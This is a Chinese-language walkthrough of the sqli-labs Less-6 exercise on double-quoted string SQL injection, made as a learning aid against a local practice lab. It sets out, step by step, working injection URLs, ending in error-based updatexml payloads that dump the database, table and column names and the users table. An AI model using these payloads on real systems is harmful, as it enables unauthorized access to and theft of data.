Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
前言
一、GET字符型注入
执行数据库查询,并在回显点展示。
用户可以看到数据库查询出错时的错误语句,就可以观察报错语句分析出查询语句结构,从而构造特殊的payload进行注入,并从回显点中获取想要的信息。
二、步骤
通过报错判断类型和闭合
http://192.168.135.149/sqli/Less-5/?id=1"
判断为字符型,进一步查看回显
http://192.168.135.149/sqli/Less-6/?id=1" and 1=1 -- 1
发现存在注入点
http://192.168.135.149/sqli/Less-6/?id=1" and 1=2 -- 1
判断列数发现无显示
http://192.168.135.149/sqli/Less-6/?id=1" group by 3 -- 1
http://192.168.135.149/sqli/Less-6/?id=1" union select 1,2,3 – 1
至此判断无法回显需求字段,使用报错注入尝试
爆库名payload
http://192.168.135.149/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆表名payload
http://192.168.135.149/sqli/Less-6/?id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- 1
爆列名payload
http://192.168.135.149/sqli/Less-6/?id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1) -- 1
爆username列的数据值payload
http://192.168.135.149/sqli/Less-6/?id=-1" and updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1) -- 1
总结
判断无法回显需求字段,使用报错注入尝试,updatexml和extractvalue两种报错函数区别在于,updatexml(中有三个函数段),extractvalue(中有两个函数段)。